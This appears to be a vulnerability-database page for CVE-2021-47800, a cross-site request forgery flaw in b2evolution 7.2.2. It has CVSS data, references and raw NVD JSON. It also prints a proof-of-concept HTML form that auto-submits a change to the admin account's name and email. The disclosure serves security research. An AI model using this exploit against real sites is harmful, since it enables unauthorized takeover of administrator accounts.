CVE-2021-47800

Description

b2evolution 7.2.2 contains a cross-site request forgery vulnerability that allows attackers to modify admin account details without authentication. Attackers can craft a malicious HTML form to submit unauthorized changes to user profiles by tricking victims into loading a specially crafted webpage.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

b2evolution < 7.2.3 (fixed version)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<html> <body> <h1>b2evolution CSRF Exploit - Account Modification</h1> <p>Target: b2evolution 7.2.2 Admin Account Modification</p> <form id="csrfForm" action="http://target-site/user.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="ctrl" value="users"> <input type="hidden" name="action" value="update"> <input type="hidden" name="account_tab" value="profile"> <input type="hidden" name="user_ID" value="1"> <input type="hidden" name="edited_user_login" value="admin"> <input type="hidden" name="firstname" value="Admin"> <input type="hidden" name="lastname" value="Modified"> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="edit_user_pwd_main" value=""> <input type="hidden" name="edit_user_pwd_confirm" value=""> <input type="hidden" name="submit_action" value="update"> </form> <script> document.getElementById('csrfForm').submit(); </script> </body> </html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2021-47800
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2021-47800
[3] CVE Details https://www.cvedetails.com/cve/CVE-2021-47800/
[4] VulDB https://vuldb.com/cve/CVE-2021-47800
[5] https://b2evolution.net/
[6] https://b2evolution.net/downloads/
[7] https://github.com/b2evolution/b2evolution
[8] https://www.exploit-db.com/exploits/50081
[9] https://www.vulncheck.com/advisories/bevolution-edit-account-details-cross-site-request-forgery-csrf

Raw JSON Data

JSON

{"cve": {"id": "CVE-2021-47800", "sourceIdentifier": "[email protected]", "published": "2026-01-16T00:16:24.327", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "b2evolution 7.2.2 contains a cross-site request forgery vulnerability that allows attackers to modify admin account details without authentication. Attackers can craft a malicious HTML form to submit unauthorized changes to user profiles by tricking victims into loading a specially crafted webpage."}, {"lang": "es", "value": "b2evolution 7.2.2 contiene una vulnerabilidad de falsificación de petición en sitios cruzados que permite a los atacantes modificar los detalles de cuentas de administrador sin autenticación. Los atacantes pueden crear un formulario HTML malicioso para enviar cambios no autorizados a perfiles de usuario engañando a las víctimas para que carguen una página web especialmente diseñada."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://b2evolution.net/", "source": "[email protected]"}, {"url": "https://b2evolution.net/downloads/", "source": "[email protected]"}, {"url": "https://github.com/b2evolution/b2evolution", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/50081", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/bevolution-edit-account-details-cross-site-request-forgery-csrf", "source": "[email protected]"}]}}